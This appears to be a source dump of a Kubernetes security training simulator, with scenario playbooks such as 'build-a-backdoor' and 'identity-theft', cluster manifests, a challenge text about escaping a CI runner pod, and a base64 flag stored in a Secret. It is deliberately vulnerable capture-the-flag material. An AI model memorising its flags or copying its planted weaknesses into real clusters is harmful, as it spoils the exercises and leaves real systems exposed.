│ │ │ ├── _symtable.js │ │ │ ├── _webcomponent.js │ │ │ ├── _webworker.js │ │ │ ├── _zlib_utils.js │ │ │ ├── array.js │ │ │ ├── bry_re.js │ │ │ ├── builtins.js │ │ │ ├── crypto_js │ │ │ └── rollups │ │ │ │ ├── aes.js │ │ │ │ ├── hmac-md5.js │ │ │ │ ├── hmac-ripemd160.js │ │ │ │ ├── hmac-sha1.js │ │ │ │ ├── hmac-sha224.js │ │ │ │ ├── hmac-sha256.js │ │ │ │ ├── hmac-sha3.js │ │ │ │ ├── hmac-sha384.js │ │ │ │ ├── hmac-sha512.js │ │ │ │ ├── md5.js │ │ │ │ ├── pbkdf2.js │ │ │ │ ├── rabbit-legacy.js │ │ │ │ ├── rabbit.js │ │ │ │ ├── rc4.js │ │ │ │ ├── ripemd160.js │ │ │ │ ├── sha1.js │ │ │ │ ├── sha224.js │ │ │ │ ├── sha256.js │ │ │ │ ├── sha3.js │ │ │ │ ├── sha384.js │ │ │ │ ├── sha512.js │ │ │ │ └── tripledes.js │ │ │ ├── dis.js │ │ │ ├── encoding_cp932.js │ │ │ ├── hashlib.js │ │ │ ├── html_parser.js │ │ │ ├── long_int.js │ │ │ ├── marshal.js │ │ │ ├── math.js │ │ │ ├── modulefinder.js │ │ │ ├── posix.js │ │ │ ├── python_re.js │ │ │ └── unicodedata.js │ ├── hydrelaps │ │ ├── Dockerfile │ │ ├── application.py │ │ ├── db-init.py │ │ ├── entrypoint.sh │ │ └── requirements.txt │ ├── jumpbox │ │ ├── Dockerfile │ │ ├── chat-archive.enc │ │ └── secure-archive-chat.sh │ └── tasks.yaml ├── commandeer-container │ ├── README.md │ ├── misty-gally │ │ └── Dockerfile │ ├── tasks.yaml │ └── treasure-chest │ │ ├── Dockerfile │ │ ├── go.mod │ │ └── main.go ├── devious-developer-data-dump │ ├── README.md │ └── tasks.yaml ├── identity-theft │ ├── README.md │ ├── _solution │ │ ├── config.md │ │ ├── service-patch.yaml │ │ └── tools.yaml │ ├── pod-checker │ │ ├── .env │ │ ├── Dockerfile │ │ ├── backend │ │ │ └── router │ │ │ │ └── router.go │ │ ├── frontend │ │ │ ├── app │ │ │ │ ├── about │ │ │ │ │ └── about.go │ │ │ │ ├── example │ │ │ │ │ └── example.go │ │ │ │ ├── home │ │ │ │ │ └── home.go │ │ │ │ └── schema │ │ │ │ │ └── schema.go │ │ │ ├── static │ │ │ │ ├── css │ │ │ │ │ └── style.css │ │ │ │ └── js │ │ │ │ │ └── submit.js │ │ │ └── template │ │ │ │ ├── about.html │ │ │ │ └── home.html │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go │ ├── public-terminal │ │ ├── Dockerfile │ │ └── hacker-notes.md │ ├── secret-store │ │ ├── .env │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── config │ │ │ ├── dbsetup.go │ │ │ └── oidcsetup.go │ │ ├── controllers │ │ │ ├── default.go │ │ │ ├── handlers.go │ │ │ └── routes.go │ │ ├── database │ │ │ └── users.go │ │ ├── docs │ │ │ ├── docs.go │ │ │ ├── swagger.json │ │ │ └── swagger.yaml │ │ ├── go.mod │ │ ├── go.sum │ │ ├── main.go │ │ ├── middleware │ │ │ └── authorizer.go │ │ └── models │ │ │ └── users.go │ ├── tasks.yaml │ └── yamlidator │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── pod-schema.py │ │ └── requirements.txt ├── pss-misconfiguration │ ├── solution.md │ └── tasks.yaml ├── scenarios.go ├── scenarios.yaml └── seven-seas │ ├── README.md │ ├── _solution │ ├── Dockerfile │ ├── broken-up-map.key │ ├── netpol-patch.yaml │ ├── pod.yaml │ ├── pss-deployment.yaml │ ├── royal-fortune.key │ └── royal-fortune.pub │ ├── adventure-galley │ ├── Dockerfile │ ├── go.mod │ ├── main.go │ └── static │ │ └── index.html │ ├── blockade-ship │ ├── Dockerfile │ └── treasure-map-3 │ ├── fancy │ ├── Dockerfile │ ├── diary.md │ ├── treasure-map-1 │ └── treasure-map-7 │ ├── path-of-the-pirate │ ├── Dockerfile │ ├── go.mod │ ├── main.go │ └── static │ │ ├── img │ │ └── path-of-the-pirate.png │ │ └── index.html │ ├── royal-fortune │ ├── 01-royal-fortune │ ├── Dockerfile │ ├── authorized_keys │ └── banner │ ├── tasks.yaml │ └── whydah-galley │ └── Dockerfile ├── terraform ├── modules │ ├── ansible-config │ │ ├── ansible-config.tf │ │ ├── ansible-inventory.tf │ │ ├── templates │ │ │ ├── ansible.cfg │ │ │ └── inventory.yaml.tpl │ │ └── variables.tf │ ├── cluster │ │ ├── bastion.tf │ │ ├── cloud-config.tf │ │ ├── instances.tf │ │ ├── key-pairs.tf │ │ ├── locals.tf │ │ ├── modules │ │ │ └── instance-group │ │ │ │ ├── instances.tf │ │ │ │ ├── outputs.tf │ │ │ │ ├── terraform.tf │ │ │ │ └── variables.tf │ │ ├── outputs.tf │ │ ├── templates │ │ │ └── cloud-config.yaml │ │ ├── terraform.tf │ │ └── variables.tf │ ├── network │ │ ├── locals.tf │ │ ├── network.tf │ │ ├── outputs.tf │ │ ├── private.tf │ │ ├── public.tf │ │ ├── terraform.tf │ │ └── variables.tf │ └── ssh-config │ │ ├── known-hosts.tf │ │ ├── ssh-config.tf │ │ ├── templates │ │ └── ssh_config │ │ └── variables.tf └── workspaces │ ├── simulator-iam │ ├── .gitignore │ └── main.tf │ └── simulator │ ├── .terraform.lock.hcl │ └── main.tf └── utils └── ssh └── client.go /.dockerignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .git/ 3 | .simulator/ 4 | bin/ 5 | docs/ 6 | packer/.cache/ 7 | packer/github.com/ 8 | simulation-scripts/ 9 | terraform/workspaces/simulator/.terraform/ 10 | .dockerignore 11 | .editorconfig 12 | .gitignore 13 | Dockerfile.dev 14 | Dockerfile 15 | LICENSE 16 | Makefile 17 | README.md 18 | SECURITY.md 19 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | charset = utf-8 5 | end_of_line = lf 6 | indent_size = 2 7 | indent_style = space 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | max_line_length = 120 11 | tab_width = 4 12 | 13 | [{*.bash,*.sh,*.zsh}] 14 | indent_size = 2 15 | tab_width = 2 16 | 17 | [{*.go,*.go2}] 18 | indent_style = tab 19 | 20 | [{*.har,*.jsb2,*.jsb3,*.json,.babelrc,.eslintrc,.stylelintrc,bowerrc,jest.config}] 21 | indent_size = 2 22 | 23 | [{*.hcl,*.nomad}] 24 | indent_size = 2 25 | 26 | [{*.tf,*.tfvars}] 27 | indent_size = 2 28 | 29 | [{*.yaml,*.yml,Kptfile}] 30 | indent_size = 2 31 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/question.yaml: -------------------------------------------------------------------------------- 1 | name: Question 2 | description: Post a question about the project 3 | title: "[Question]: " 4 | labels: [question] 5 | body: 6 | - type: markdown 7 | attributes: 8 | value: "Have a question about the project? Feel free to ask it here!" 9 | - type: textarea 10 | id: your-question 11 | attributes: 12 | label: Your Question 13 | description: A clear and concise question. 14 | placeholder: "What would you like to ask?" 15 | render: markdown 16 | validations: 17 | required: true 18 | - type: textarea 19 | id: additional-context 20 | attributes: 21 | label: Additional Context 22 | description: Add any other context about your question here. 23 | placeholder: "Provide additional information or context if necessary..." 24 | render: markdown 25 | validations: 26 | required: false 27 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .simulator/ 3 | config/* 4 | !config/.gitkeep 5 | bin/ 6 | packer/.cache/ 7 | packer/github.com/ 8 | simulation-scripts/ 9 | terraform/workspaces/simulator/.terraform/ 10 | *tfstate* 11 | -------------------------------------------------------------------------------- /.trivy-config/.trivyignore: -------------------------------------------------------------------------------- 1 | ## these following are not fixed in the upstream yet, so we are ignoring them for now 2 | # packer-plugin-amazon_v1.2.8_x5.0_linux_amd64 3 | # registry.terraform.io/hashicorp/template/2.2.0/linux_amd64/terraform-provider-template_v2.2.0_x4 4 | CVE-2023-39325 5 | GHSA-m425-mq94-257g 6 | CVE-2022-26945 7 | CVE-2022-30321 8 | CVE-2022-30322 9 | CVE-2022-30323 10 | CVE-2019-19316 11 | CVE-2020-16845 12 | CVE-2021-29482 13 | CVE-2020-29652 14 | CVE-2020-7919 15 | CVE-2020-9283 16 | CVE-2021-43565 17 | CVE-2022-27191 18 | CVE-2019-9512 19 | CVE-2019-9514 20 | CVE-2021-33194 21 | CVE-2022-27664 22 | CVE-2022-41723 23 | CVE-2021-38561 24 | CVE-2022-32149 25 | # packer's dependency go-git 26 | # packer being non-responsive isn't a worry and responses 27 | # from github shouldn't be an issue 28 | CVE-2023-49568 29 | ## Ignoring as it has not been patched in the upstream binary 30 | GHSA-9763-4f94-gfch 31 | CVE-2023-49569 32 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | All notable changes to this project will be documented in this file. 4 | 5 | ## Table of Contents 6 | 7 | - [2.0.0](#200) 8 | 9 | ## `2.0.0` 10 | 11 | - New scenarios format and API 12 | 13 | - [2.0.0-alpha1](#200-alpha1) 14 | 15 | ## `2.0.0-alpha1` 16 | 17 | - GitHub Actions CI/CD 18 | - Binary releases for various platforms 19 | -------------------------------------------------------------------------------- /CODEOWNERS: -------------------------------------------------------------------------------- 1 | # These owners will be the default owners for everything in 2 | # the repo, unless a later match takes precedence. 3 | 4 | * @controlplaneio/simulator-core 5 | 6 | /scenarios @controlplaneio/simulator-scenarios 7 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM controlplane/simulator:dev 2 | 3 | COPY --chown=ubuntu:ubuntu packer packer 4 | COPY --chown=ubuntu:ubuntu terraform terraform 5 | COPY --chown=ubuntu:ubuntu ansible ansible 6 | 7 | RUN cd packer && packer init -upgrade bastion.pkr.hcl && packer init -upgrade k8s.pkr.hcl 8 | RUN cd terraform/workspaces/simulator && terraform init -upgrade -backend=false 9 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SIMULATOR_IMAGE ?= controlplane/simulator 2 | 3 | .PHONY: help 4 | help: ## Show this help message 5 | @awk 'BEGIN {FS = ":.*?##"} /^[a-zA-Z_-]+:.*?##/ { sub("\\\\", "", $$1); printf "\033[36m%-30s\033[0m %s\n", $$1, $$2 }' $(MAKEFILE_LIST) 6 | 7 | lint: ## Lint the code 8 | golangci-lint run -c .golangci.yml 9 | 10 | simulator-dev-image: lint ## Lint the code and build the development Docker image 11 | docker build -t $(SIMULATOR_IMAGE):dev -f Dockerfile.dev . 12 | 13 | simulator-image: simulator-dev-image ## Build the Docker image for the simulator 14 | docker build -t $(SIMULATOR_IMAGE) . 15 | 16 | simulator-cli: lint ## Build the simulator CLI 17 | go build -v -o bin/simulator cmd/simulator/main.go 18 | 19 | build: simulator-dev-image simulator-image simulator-cli ## Build docker images and the CLI binary 20 | 21 | acceptance-test: ## Run the acceptance test 22 | cd acceptance && RUN_ACCEPTANCE_TEST=yes go test 23 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Our Security Address 4 | 5 | Contact: `security@control-plane.io` 6 | Encryption: `https://keybase.io/sublimino/pgp_keys.asc` 7 | Disclosure: `Full` 8 | -------------------------------------------------------------------------------- /ansible/playbooks/build-a-backdoor.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Build a Backdoor 4 | hosts: bastion:master-1 5 | become: yes 6 | vars: 7 | state: present 8 | socat_target_ip: "{{ hostvars['master-1']['ansible_facts']['default_ipv4']['address'] }}" 9 | roles: 10 | - build-a-backdoor 11 | - socat 12 | -------------------------------------------------------------------------------- /ansible/playbooks/cease-and-desist.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Cease and Desist 4 | hosts: all 5 | become: yes 6 | vars: 7 | state: present 8 | master_ip: "{{ hostvars['master-1']['ansible_facts']['default_ipv4']['address'] }}" 9 | roles: 10 | - cease-and-desist 11 | -------------------------------------------------------------------------------- /ansible/playbooks/ci-runner-ng-breakout.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: CI Runner NG Breakout 4 | hosts: bastion:nodes 5 | become: yes 6 | vars: 7 | state: present 8 | roles: 9 | - ci-runner-ng-breakout 10 | -------------------------------------------------------------------------------- /ansible/playbooks/coastline-cluster-attack.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Coastline Cluster Attack 4 | hosts: bastion:master-1:nodes 5 | become: yes 6 | vars: 7 | state: present 8 | roles: 9 | - coastline-cluster-attack 10 | -------------------------------------------------------------------------------- /ansible/playbooks/commandeer-container.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Commandeer Container 4 | hosts: bastion 5 | become: yes 6 | vars: 7 | state: present 8 | roles: 9 | - commandeer-container 10 | -------------------------------------------------------------------------------- /ansible/playbooks/devious-developer-data-dump.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Devious Developer Data Dump 4 | hosts: all 5 | become: yes 6 | vars: 7 | state: present 8 | master_ip: "{{ hostvars['master-1']['ansible_facts']['default_ipv4']['address'] }}" 9 | master_hostname: "{{ hostvars['master-1']['ansible_facts']['hostname'] }}" 10 | node1_ip: "{{ hostvars['node-1']['ansible_facts']['default_ipv4']['address'] }}" 11 | node1_hostname: "{{ hostvars['node-1']['ansible_facts']['hostname'] }}" 12 | node2_hostname: "{{ hostvars['node-2']['ansible_facts']['hostname'] }}" 13 | roles: 14 | - devious-developer-data-dump 15 | -------------------------------------------------------------------------------- /ansible/playbooks/identity-theft.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Identity Theft 4 | hosts: all 5 | become: yes 6 | vars: 7 | state: present 8 | master_ip: "{{ hostvars['master-1']['ansible_facts']['default_ipv4']['address'] }}" 9 | roles: 10 | - identity-theft 11 | -------------------------------------------------------------------------------- /ansible/playbooks/pss-misconfiguration.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: PSS Misconfiguration 4 | hosts: bastion:master-1 5 | become: yes 6 | vars: 7 | state: present 8 | roles: 9 | - pss-misconfiguration 10 | -------------------------------------------------------------------------------- /ansible/playbooks/seven-seas.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Seven Seas 4 | hosts: all 5 | become: yes 6 | vars: 7 | state: present 8 | socat_target_ip: "{{ hostvars['master-1']['ansible_facts']['default_ipv4']['address'] }}" 9 | roles: 10 | - seven-seas 11 | - socat 12 | -------------------------------------------------------------------------------- /ansible/roles/build-a-backdoor/files/manifests/07-ingress.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: networking.k8s.io/v1 2 | kind: Ingress 3 | metadata: 4 | name: ingress-ii-mgmt 5 | namespace: ii-prod 6 | annotations: 7 | kubernetes.io/ingress.class: nginx 8 | spec: 9 | rules: 10 | - http: 11 | paths: 12 | - path: "/" 13 | pathType: Prefix 14 | backend: 15 | service: 16 | name: ii-prod-mgmt-service 17 | port: 18 | number: 80 19 | -------------------------------------------------------------------------------- /ansible/roles/cease-and-desist/files/manifests/00-namespaces.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Namespace 3 | metadata: 4 | name: licensing 5 | labels: 6 | ns: licensing 7 | --- 8 | apiVersion: v1 9 | kind: Namespace 10 | metadata: 11 | name: production 12 | labels: 13 | ns: production 14 | --- 15 | apiVersion: v1 16 | kind: Namespace 17 | metadata: 18 | name: administration 19 | labels: 20 | ns: administration 21 | --- -------------------------------------------------------------------------------- /ansible/roles/cease-and-desist/files/manifests/03-tokungfu.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Secret 3 | metadata: 4 | name: flag 5 | namespace: production 6 | type: Opaque 7 | data: 8 | flag: ZmxhZ19jdGZ7T1BFTl9XSURFX0FORF9FQVRfU09NRV9UT0ZVfQ== 9 | -------------------------------------------------------------------------------- /ansible/roles/ci-runner-ng-breakout/files/challenge.txt: -------------------------------------------------------------------------------- 1 | During penetration testing of a client kubernetes cluster, a vulnerability in a pod has been noticed. 2 | 3 | The pod is part of the CI/CD build infrastructure and you are concerned that a compromised runner may lead to compromised VMs. 4 | 5 | Verify the vulnerability by breaking out of the CI runner pod. 6 | -------------------------------------------------------------------------------- /ansible/roles/cluster-network/defaults/main.yaml: -------------------------------------------------------------------------------- 1 | calico_version: 3.26.3 2 | weave_version: 2.8.1 3 | cilium_cli_version: 0.15.11 4 | cilium_version: 1.14.3 5 | cilium_params: 6 | -------------------------------------------------------------------------------- /ansible/roles/cluster-network/tasks/calico.yaml: -------------------------------------------------------------------------------- 1 | - name: Download calico manifests 2 | ansible.builtin.get_url: 3 | url: "https://raw.githubusercontent.com/projectcalico/calico/v{{ calico_version }}/manifests/calico.yaml" 4 | dest: ~/calico.yaml 5 | mode: '0664' 6 | become: no 7 | when: "state == 'present' and 'bastion' in inventory_hostname" 8 | 9 | - name: Install calico 10 | kubernetes.core.k8s: 11 | src: ~/calico.yaml 12 | state: "{{ state }}" 13 | force: "{% if state == 'absent' %}yes{% else %}no{% endif %}" 14 | become: no 15 | when: "'bastion' in inventory_hostname" 16 | -------------------------------------------------------------------------------- /ansible/roles/cluster-network/tasks/weave.yaml: -------------------------------------------------------------------------------- 1 | - name: Download weave manifests 2 | ansible.builtin.get_url: 3 | url: "https://github.com/weaveworks/weave/releases/download/v{{ weave_version }}/weave-daemonset-k8s.yaml" 4 | dest: ~/weave-daemonset-k8s.yaml 5 | mode: '0664' 6 | become: no 7 | when: "state == 'present' and 'bastion' in inventory_hostname" 8 | 9 | - name: Install weave daemonset 10 | kubernetes.core.k8s: 11 | src: ~/weave-daemonset-k8s.yaml 12 | state: "{{ state }}" 13 | become: no 14 | when: "'bastion' in inventory_hostname" 15 | -------------------------------------------------------------------------------- /ansible/roles/coastline-cluster-attack/files/manifests/03-es-storage-init.yaml: -------------------------------------------------------------------------------- 1 | kind: StorageClass 2 | apiVersion: storage.k8s.io/v1 3 | metadata: 4 | name: local-storage 5 | provisioner: kubernetes.io/no-provisioner 6 | volumeBindingMode: WaitForFirstConsumer 7 | --- 8 | apiVersion: v1 9 | kind: PersistentVolume 10 | metadata: 11 | name: es-data-pv-0 12 | spec: 13 | capacity: 14 | storage: 2Gi 15 | accessModes: 16 | - ReadWriteOnce 17 | persistentVolumeReclaimPolicy: Retain 18 | storageClassName: local-storage 19 | local: 20 | path: /mnt/ 21 | nodeAffinity: 22 | required: 23 | nodeSelectorTerms: 24 | - matchExpressions: 25 | - key: kubernetes.io/hostname 26 | operator: In 27 | values: 28 | - node-1 29 | - node-2 30 | -------------------------------------------------------------------------------- /ansible/roles/coastline-cluster-attack/files/manifests/04-elasticsearch-install.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: elasticsearch.k8s.elastic.co/v1 2 | kind: Elasticsearch 3 | metadata: 4 | name: coastline 5 | namespace: kube-system 6 | spec: 7 | version: 8.6.0 8 | nodeSets: 9 | - name: logging 10 | count: 1 11 | config: 12 | node.store.allow_mmap: false 13 | volumeClaimTemplates: 14 | - metadata: 15 | name: elasticsearch-data 16 | spec: 17 | accessModes: 18 | - ReadWriteOnce 19 | resources: 20 | requests: 21 | storage: 2Gi 22 | storageClassName: local-storage 23 | -------------------------------------------------------------------------------- /ansible/roles/commandeer-container/tasks/main.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Install calico network 4 | ansible.builtin.include_role: 5 | name: cluster-network 6 | tasks_from: calico 7 | 8 | - name: Apply K8s manifests 9 | kubernetes.core.k8s: 10 | definition: "{{ lookup('ansible.builtin.file', 'manifests/01-scenario.yaml') | from_yaml_all }}" 11 | state: "{{ state }}" 12 | become: no 13 | 14 | - name: Set starting point 15 | ansible.builtin.include_role: 16 | name: starting-point 17 | tasks_from: pod 18 | vars: 19 | namespace: sea 20 | pod: dark-tide 21 | 22 | - name: Copy challenge 23 | ansible.builtin.include_role: 24 | name: starting-point 25 | tasks_from: challenge 26 | vars: 27 | challenge_content: "{{ lookup('ansible.builtin.file', 'files/challenge.txt') }}" 28 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/.config/configstore/update-notifier-pnpm.json: -------------------------------------------------------------------------------- 1 | { 2 | "optOut": false, 3 | "lastUpdateCheck": 1680632678616 4 | } 5 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/.config/glitch-package-manager: -------------------------------------------------------------------------------- 1 | pnpm 2 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/.env: -------------------------------------------------------------------------------- 1 | MONGO_URI= -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/features/chat.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright (c) Microsoft Corporation. All rights reserved. 3 | * Licensed under the MIT License. 4 | */ 5 | const express = require('express'); 6 | const path = require('path'); 7 | 8 | module.exports = function (controller) { 9 | 10 | // make public/index.html available as localhost/index.html 11 | // by making the /public folder a static/public asset 12 | controller.publicFolder('/', path.join(__dirname, '..', 'public')); 13 | 14 | console.log('Chat with me: http://localhost:' + (process.env.PORT || 3000)); 15 | } 16 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/features/sample_echo.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright (c) Microsoft Corporation. All rights reserved. 3 | * Licensed under the MIT License. 4 | */ 5 | 6 | module.exports = function (controller) { 7 | 8 | controller.hears('sample', 'message', async (bot, message) => { 9 | await bot.reply(message, 'I heard a sample message.'); 10 | }); 11 | 12 | controller.on('message', async (bot, message) => { 13 | await bot.reply(message, `Echo: ${message.text}`); 14 | }); 15 | 16 | } 17 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/features/websocket_features.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright (c) Microsoft Corporation. All rights reserved. 3 | * Licensed under the MIT License. 4 | */ 5 | module.exports = function (controller) { 6 | 7 | if (controller.adapter.name === 'Web Adapter') { 8 | 9 | console.log('Loading sample web features...'); 10 | 11 | controller.hears(new RegExp('quick'), 'message', async (bot, message) => { 12 | 13 | await bot.reply(message, { 14 | text: 'Here are some quick replies', 15 | quick_replies: [ 16 | { 17 | title: 'Foo', 18 | payload: 'foo', 19 | }, 20 | { 21 | title: 'Bar', 22 | payload: 'bar', 23 | } 24 | ] 25 | }); 26 | }); 27 | 28 | 29 | } 30 | 31 | } 32 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "botkit-starter-web", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "bot.js", 6 | "scripts": { 7 | "start": "node bot.js", 8 | "test": "echo \"Error: no test specified\" && exit 1" 9 | }, 10 | "dependencies": { 11 | "botbuilder-adapter-web": "^1.0.4", 12 | "botbuilder-storage-mongodb": "^0.9.5", 13 | "botkit": "^4.5.0", 14 | "botkit-plugin-cms": "^1.0.2", 15 | "dotenv": "^7.0.0", 16 | "botbuilder": "^4.10.0" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/public/css/embed.css: -------------------------------------------------------------------------------- 1 | #embedded_messenger { 2 | position: fixed; 3 | z-index: 1000; 4 | bottom: -400px; 5 | right: 2rem; 6 | height: 434px; 7 | transition: 0.5s ease-in-out bottom; 8 | } 9 | 10 | #embedded_messenger.active { 11 | bottom: 0; 12 | } 13 | 14 | #embedded_messenger iframe { 15 | height: 400px; 16 | width: 100%; 17 | border: 0; 18 | } 19 | 20 | #embedded_messenger #message_header { 21 | background: #000; 22 | padding: 0.5rem 1rem; 23 | color: #FFF; 24 | } 25 | 26 | /*# sourceMappingURL=embed.css.map */ 27 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/public/css/embed.css.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sourceRoot":"","sources":["../../sass/embed.scss"],"names":[],"mappings":"AAEA;EAEE;EACA;EAEA;EACA;EAEA;EACA;;AAEA;EACE;;AAGF;EACE,QAlBK;EAmBL;EACA;;AAGF;EACE;EACA;EACA","file":"embed.css"} -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/readme.md: -------------------------------------------------------------------------------- 1 | # Rescue-Drop ChatBot 2 | 3 | This is a template for creating a Web ChatBot for RescueDrop. 4 | 5 | This is based off the Botkit starter kit for web, created with 6 | the [Yeoman generator](https://github.com/howdyai/botkit/tree/master/packages/generator-botkit#readme) 7 | 8 | ## Features 9 | 10 | * Interact with customers for quick enquires about current order status 11 | * Receive orders from customers and automatically process it with existing credit card details 12 | * Provide the availability of an item and whether there are lower cost alternatives 13 | 14 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/sass/_home.scss: -------------------------------------------------------------------------------- 1 | #home { 2 | @include clearfix; 3 | position: relative; 4 | max-width: 650px; 5 | margin: auto; 6 | } 7 | 8 | #homepage_bot { 9 | width: 400px; 10 | height: 450px; 11 | float: left; 12 | border: 5px solid #333; 13 | 14 | iframe { 15 | border: 0; 16 | height: 100%; 17 | width: 100%; 18 | } 19 | box-shadow: 5px 5px 5px rgba(0,0,0,0.5); 20 | } 21 | 22 | #welcome { 23 | margin-left: 440px; 24 | } 25 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/sass/embed.scss: -------------------------------------------------------------------------------- 1 | $height: 400px; 2 | 3 | #embedded_messenger { 4 | 5 | position: fixed; 6 | z-index: 1000; 7 | 8 | bottom: -$height; 9 | right: 2rem; 10 | 11 | height: $height + 34; 12 | transition: 0.5s ease-in-out bottom; 13 | 14 | &.active { 15 | bottom: 0; 16 | } 17 | 18 | iframe { 19 | height: $height; 20 | width: 100%; 21 | border: 0; 22 | } 23 | 24 | #message_header { 25 | background: #000; 26 | padding: 0.5rem 1rem; 27 | color: #FFF; 28 | } 29 | 30 | } 31 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-chatbot/sass/styles.scss: -------------------------------------------------------------------------------- 1 | /* shared botkit ui styles */ 2 | @import "_botkit"; 3 | 4 | /* chat client */ 5 | @import "_chat"; 6 | 7 | /* special styles for homepage */ 8 | @import "_home"; 9 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-orders-processor/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM python:3.10-alpine 4 | 5 | WORKDIR / 6 | 7 | COPY requirements.txt requirements.txt 8 | RUN pip3 install -r requirements.txt 9 | 10 | COPY process-orders.py process-orders.py 11 | 12 | ENTRYPOINT [ "python3", "process-orders.py" ] -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-orders-processor/MAINTAINERS: -------------------------------------------------------------------------------- 1 | Dawn Shaw, Rescue Drop 2 | Ian Ramos, Rescue Drop 3 | Julia Flynn, Rescue Drop -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-orders-processor/README.md: -------------------------------------------------------------------------------- 1 | # Rescue Drop - Orders Processor (WIP) 2 | 3 | ## Overview 4 | 5 | The Rescue Drop Orders Processor application is a scheduled service which checks for new orders to process and instructs 6 | the onward receiver to place the order at the appropiate distributed warehouse. 7 | 8 | ## Application 9 | 10 | The application is built and deployed as a container into our Kubernetes cluster. It processes customer orders which are 11 | stored in a database. Currently the application is work in progress whilst we are designing and building the remaining 12 | services. 13 | 14 | ### Contributions 15 | 16 | If you are intested in contributing to the Orders Processor application, please see our recommendations in 17 | CONTRIBUTING.md 18 | 19 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-orders-processor/requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | datetime 3 | pathlib -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-test-ci/.github/workflows/build.yaml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: 4 | - main 5 | 6 | jobs: 7 | build-image: 8 | name: build-image 9 | runs-on: ubuntu-latest 10 | env: 11 | TOKEN: __TOKEN__ 12 | steps: 13 | - name: Git Checkout 14 | uses: https://gitea.com/actions/checkout@v3 15 | with: 16 | token: ${{ env.TOKEN }} 17 | 18 | - name: test build image 19 | uses: docker/build-push-action@v4 20 | with: 21 | push: false 22 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/_git-repo-test-ci/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk add gcc musl-dev 4 | 5 | ## Build commands go here 6 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/home.tmpl: -------------------------------------------------------------------------------- 1 | {{template "base/head" .}} 2 |
3 |
4 |
5 |
6 |

7 | RESCUE DROP 8 |

9 |
10 |
11 | 12 |
13 |
14 |
15 |
